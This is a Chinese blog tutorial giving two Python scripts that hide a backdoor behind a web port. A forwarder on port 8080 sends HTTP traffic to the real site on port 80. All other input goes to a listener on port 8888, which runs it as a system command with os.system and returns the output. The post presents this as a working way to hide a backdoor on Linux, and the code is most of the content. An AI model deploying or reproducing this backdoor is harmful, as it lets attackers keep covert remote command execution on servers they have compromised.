python基于socket进行端口转发实现后门隐藏的示例


Posted in Python onJuly 25, 2019

思想:

用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码:

#!/usr/bin/env python
from socket import *
import os

HOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)

tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

while True:
  print("waiting for connection...")
  tcpCliSock,addr = tcpSerSock.accept()
  print("...connected from:",addr)
  
  while True:
    data=tcpCliSock.recv(BUFSIZE)
    if not data:
      break
    info = data.split('\n')
    command = info[0]
    try:
      os.system(command + " > command.txt");
      file = open('command.txt')
      data =""
      for line in file:
        data=data+line;
      tcpCliSock.send(data)
    except Exception:
      tcpCliSock.send("Nothing to do")

  tcpCliSock.close()
tcpSerSock.close()

8080端口转发代码:

#!/usr/bin/python
from socket import *

tcp1 = socket(AF_INET,SOCK_STREAM)

tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)

BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:
  data = tcpCliSock.recv(BUFFER_SIZE)
  if 'HTTP' in data:
    tcp3 = socket(AF_INET,SOCK_STREAM)
    tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp3.connect(('127.0.0.1',80))
    tcp3.send(data)
    htmlinfo = tcp3.recv(2048)
    if not htmlinfo:
      tcp3.close()
    else:
      tcpCliSock.send(htmlinfo)
  else:
    tcp2 = socket(AF_INET,SOCK_STREAM)
    tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp2.connect(('127.0.0.1',8888))
    data = data.replace("\n"," ")
    print data
    tcp2.send(data)
    commandinfo = tcp2.recv(1024)
    tcpCliSock.send(commandinfo)
    tcp2.close()
tcpCliSock.close()
tcp1.close()

有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。

以上这篇python基于socket进行端口转发实现后门隐藏的示例就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python中使用ElementTree解析XML示例
Jun 02 Python
Python使用asyncio包处理并发详解
Sep 09 Python
python爬取亚马逊书籍信息代码分享
Dec 09 Python
python验证码识别实例代码
Feb 03 Python
批量将ppt转换为pdf的Python代码 只要27行!
Feb 26 Python
Python之dict(或对象)与json之间的互相转化实例
Jun 05 Python
Python中staticmethod和classmethod的作用与区别
Oct 11 Python
django获取from表单multiple-select的value和id的方法
Jul 19 Python
Django使用 Bootstrap 样式修改书籍列表过程解析
Aug 09 Python
python数据处理之如何选取csv文件中某几行的数据
Sep 02 Python
Python自定义聚合函数merge与transform区别详解
May 26 Python
python对输出的奇数偶数排序实例代码
Dec 04 Python
Django实现跨域请求过程详解
Jul 25 #Python
Django Rest framework认证组件详细用法
Jul 25 #Python
Django Rest framework权限的详细用法
Jul 25 #Python
Django Rest framework解析器和渲染器详解
Jul 25 #Python
Django Form 实时从数据库中获取数据的操作方法
Jul 25 #Python
Django MEDIA的配置及用法详解
Jul 25 #Python
Django打印出在数据库中执行的语句问题
Jul 25 #Python
You might like
PHP编程基本语法快速入门手册
2016/01/07 PHP
详解php中的implements 使用
2017/06/13 PHP
PHP中in_array的隐式转换的解决方法
2018/03/06 PHP
Smarty缓存机制实例详解【三种缓存方式】
2019/07/20 PHP
js 使FORM表单的所有元素不可编辑的示例代码
2013/10/17 Javascript
js仿淘宝和百度文库的评分功能
2016/05/15 Javascript
JS实现的表头列头固定页面功能示例
2017/01/10 Javascript
Node.js制作简单聊天室
2017/01/12 Javascript
BootStrap实现鼠标悬停下拉列表功能
2017/02/17 Javascript
JS+HTML5实现图片在线预览功能
2017/07/22 Javascript
JS实现的简单表单验证功能示例
2017/10/13 Javascript
vue resource post请求时遇到的坑
2017/10/19 Javascript
Vue组件通信之Bus的具体使用
2017/12/28 Javascript
jQuery zTree搜索-关键字查询 递归无限层功能实现代码
2018/01/25 jQuery
收集前端面试题之url、href、src
2018/03/22 Javascript
vue引用js文件的多种方式(推荐)
2018/05/17 Javascript
点击按钮弹出模态框的一系列操作代码实例
2019/03/29 Javascript
[02:41]辉夜杯现场一家三口 “我爸玩风行 我玩血魔”
2015/12/27 DOTA
Python线程的两种编程方式
2015/04/14 Python
实例讲解Python中函数的调用与定义
2016/03/14 Python
Python之str操作方法(详解)
2017/06/19 Python
python pandas中对Series数据进行轴向连接的实例
2018/06/08 Python
对django的User模型和四种扩展/重写方法小结
2019/08/17 Python
python 函数嵌套及多函数共同运行知识点讲解
2020/03/03 Python
对python中return与yield的区别详解
2020/03/12 Python
Python3+selenium实现cookie免密登录的示例代码
2020/03/18 Python
基于CSS3实现立方体自转效果
2016/03/01 HTML / CSS
Ralph Lauren英国官方网站:Ralph Lauren UK
2018/04/03 全球购物
安德玛比利时官网:Under Armour比利时
2019/08/28 全球购物
写给女生的道歉信
2014/01/14 职场文书
规范化管理年活动总结
2014/08/29 职场文书
效能风暴心得体会
2014/09/04 职场文书
收款授权委托书
2014/10/02 职场文书
承兑汇票转让证明怎么写?
2014/11/30 职场文书
JavaGUI模仿QQ聊天功能完整版
2021/07/04 Java/Android
MongoDB数据库部署环境准备及使用介绍
2022/03/21 MongoDB